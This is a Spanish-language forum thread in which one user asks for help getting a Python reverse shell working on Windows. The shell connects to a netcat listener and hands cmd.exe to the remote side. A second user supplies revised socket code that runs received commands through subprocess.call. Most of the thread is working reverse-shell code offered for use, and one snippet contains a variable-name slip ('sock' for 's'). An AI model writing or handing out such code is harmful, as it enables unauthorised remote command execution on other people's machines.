[PYTHON] Crear reverse shell con socket + netcat

Iniciado por Sentex, 30 Septiembre 2017, 17:49 PM

0 Miembros y 2 Visitantes están viendo este tema.

Sentex

Hola buenas he buscado por google pero no he encontrado nada se que funciona en linux pero en windows me da error.

Código (python) [Seleccionar]

#!/usr/bin/python

import socket
import subprocess
import os

host = "127.0.0.1"
port = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(['cmd.exe'])


y me salta el error de Bad file descriptor y no se por que.
Preguntas o peticiones en twitter o discord:

Discord: MrSentex#1227
Twitter: @fbi_sentex

engel lex

creo que es por tratar de manejar un socket como un archivo en windows... para que usas el socket como archivo?
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

Sentex

Preguntas o peticiones en twitter o discord:

Discord: MrSentex#1227
Twitter: @fbi_sentex

engel lex

lo que no entiendo es lo que quieres... no le veo sentido a crear un duplicado del file descriptor allí...

despues del conect solo tienes que enviar y recibir datos... ya se termina allí el problema
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

Sentex

Preguntas o peticiones en twitter o discord:

Discord: MrSentex#1227
Twitter: @fbi_sentex

engel lex

Código (python) [Seleccionar]
#!/usr/bin/python

import socket

host = "127.0.0.1"
port = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

while True:
data = sock.recv(10240)#recibe hasta 10kb en una petición
if data: print("se recibió:",data)



y listo... con la data haces lo que quieras... recv es bloqueante, así que es util muchas veces usar hilos
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

Sentex

Pero lo que yo quiero hacer es crear una shell reversa de cmd con netcat de escucha por ahora con el codigo de arriba del todo funciona en linux pero en windows tengo que optar por descargar el archivo nc.exe.
Preguntas o peticiones en twitter o discord:

Discord: MrSentex#1227
Twitter: @fbi_sentex

engel lex

teoricamente es lo mismo solo tienes que cambiar linea 13
Código (python) [Seleccionar]
if data: print("se recibió:",data)

por

Código (python) [Seleccionar]
if data: subprocess.call([data])


reviso en internet y sockets no parece producir ningún problema adicional al conectarse...

tu servidor está bien configurado?, te da algún error alguna de las 2 partes, sé tan detallista como puedas, no tengo nada con que ayudarte
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

Sentex

No haber yo quiero hacer una shell reversa (cmd.exe) en un pc y que se conecte a mi por netcat.
Preguntas o peticiones en twitter o discord:

Discord: MrSentex#1227
Twitter: @fbi_sentex

engel lex

eso es una shell reversa XD...

es un programa
Código (python) [Seleccionar]
#!/usr/bin/python

que abre una conexión desde ella hacia tu servidor
Código (python) [Seleccionar]
host = "127.0.0.1"
port = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))


para ejecutar comandos que le envíes
Código (python) [Seleccionar]
while True:
data = sock.recv(10240)#recibe hasta 10kb en una petición
if data: subprocess.call([data])
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.